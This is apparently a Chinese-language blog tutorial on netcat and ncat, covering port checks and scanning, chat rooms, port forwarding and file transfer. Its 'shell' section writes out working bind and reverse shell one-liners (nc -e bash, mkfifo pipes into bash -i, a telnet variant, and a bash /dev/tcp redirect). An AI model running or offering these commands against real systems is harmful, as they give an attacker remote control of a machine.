Windard +
Github Zhihu RSS

NC 的简单应用

NC ,不仅代表是 netcat ,还有其加强版 ncat 。

NetCat 是 GNU 开源的网络请求工具, Ncat 是面向21世纪的 netcat,是 Nmap 工具集的一部分,nc 可以用来 读/写 TCP/UDP 网络连接。

nc 不仅可以请求,还能监听 (-l) 网络连接, 不仅支持 TCP 协议,还支持 UDP 协议(-u),不仅可以在 ipv4 (-4) 网络下进行,还支持 ipv6 (-6)。

brew install nmap

或者

yum install nc

即可安装 ncat

网络请求

nc 一开始也最基础的功能,发起网络请求,可以用来测试端口是否开启。

TCP nc -zv addr port

UDP nc -zvu addr port

连接 udp 端口有些不准

端口扫描

nc 127.0.0.1 10-100

或者 nc -z 127.0.0.1 10-100 端口扫描,侦查功能。

网络聊天室

nc 主要用来请求并保持一个网络连接,也可以用来监听一个端口。

比如打开一个 TCP 连接,发送 HTTP 协议请求。 nc IP_address port_numbe 连接模式。

> nc 127.0.0.1 5002
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Etag: 17f803-3de2-5a560fb2
Content-Type: text/html; charset=utf-8
Content-Length: 15842
Last-Modified: Wed, 10 Jan 2018 13:05:54 GMT
Cache-Control: private, max-age=0, proxy-revalidate, no-store, no-cache, must-revalidate
Server: WEBrick/1.3.1 (Ruby/2.4.1/2017-03-22)
Date: Wed, 10 Jan 2018 13:07:21 GMT
Connection: Keep-Alive

GET / HTTP/1.1

HTTP/1.1 200 OK
Etag: 17f803-3de2-5a560fb2
Content-Type: text/html; charset=utf-8
Content-Length: 15842
Last-Modified: Wed, 10 Jan 2018 13:05:54 GMT
Cache-Control: private, max-age=0, proxy-revalidate, no-store, no-cache, must-revalidate
Server: WEBrick/1.3.1 (Ruby/2.4.1/2017-03-22)
Date: Wed, 10 Jan 2018 13:07:30 GMT
Connection: Keep-Alive

<!DOCTYPE html>
<html>
<head>
...

使用 nc -l IP_address port_numbe 监听模式。

一个终端使用 nc -l 127.0.0.1 8090 开启监听,一个终端使用 nc 127.0.0.1 8090 保持连接,即可进行聊天室功能。

但是这样只能点对点双方交流,不能进行多方交流,且建立连接之后任意一方断开连接,则双方都会终止。在 ncat 中新增了订阅者模式,可以由一个 server 提供服务,多个 client 之间相互交流,这样就够搭建一个完整的即时通讯聊天室。

启动 server

ncat -l 8888 --broker

然后使用多个 client 连接即可。

ncat_chatroom.png

UDP 协议支持

开启 UDP 端口监听 ncat -l -u 8999

可以使用 netstat 查看端口是否开放

netstat -tunlp|grep 8999

或者使用 netstat 进行通信,建立 UDP 的聊天室。

nc -u 127.0.0.1 8999

反向代理

除了 nginx 可以做反向代理,nginx 也可以实现一个简单的反向代理服务。

其实就是端口转发

ncat -l 8089| ncat 127.0.0.1 5002

这样只能单向代理,即发往 8089 的流量会被代理至 5002 端口上,但是 5002 端口返回的数据,不能通过 8089 再继续返回给我们。

mkfifo /tmp/fifo
cat /tmp/fifo | nc 127.0.0.1 5002 | nc -l 9000 > /tmp/fifo

双向代理,亲测 HTTP, MySQL 转发可用。

或者这样

ncat -l 8068 -c 'ncat 127.0.0.1 5002

shell

nc 的一个经典应用,分为正向 shell 和反向 shell,分别表示客户端控制服务器,和服务器控制客户端。

正向 shell

服务器上 (需要有公网地址)

nc -l -p 5555 -t -e /usr/bin/bash

客户端

nc [host] 5555

即可在客户端操纵服务器。

也可以操作 Windows nc -l -p 5555 -t -e cmd.exe

正向 shell 也可以这样

mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo

反向 shell

在客户端机器上 (需要有公网地址)

nc -lp 5555

服务器上

nc -t -e /usr/bin/bash [ip] 5555

即可在客户端操纵服务器。

反向 shell 也可以这样

mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc [ip] 8001 > /tmp/fifo

用 Telnet 也可以 rm bd;mkfifo bd;cat bd|/bin/sh -i 2>&1|telnet <target IP> <port> >bd

甚至是 bash bash -c "bash -i &>/dev/tcp/<target IP>/<port> 0>&1

正向 shell 与反向 shell 的区别就在与被操纵者有没有公网地址。

传输文件

接收端

ncat -lp 3333 > 1.mp4

发送端

ncat -nv --send-only [ip] 3333 < 1.mp4

或者先起发送端

ncat --send-only -lp 3333 <a.mp4

再起接收端

nc -nv [ip] 3333 >a.mp4

保持连接

在 nc shell 中,当客户端连接断掉之后就会自动终止,可以通过加参数 -k 来保持连接。

正向 shell

nc -l -p 5555 -t -e /usr/bin/bash -k

headlogo   Windard

但行好事,莫问前程

Blog

Opinion

Project

页阅读量:  ・  站访问量:  ・  站访客数: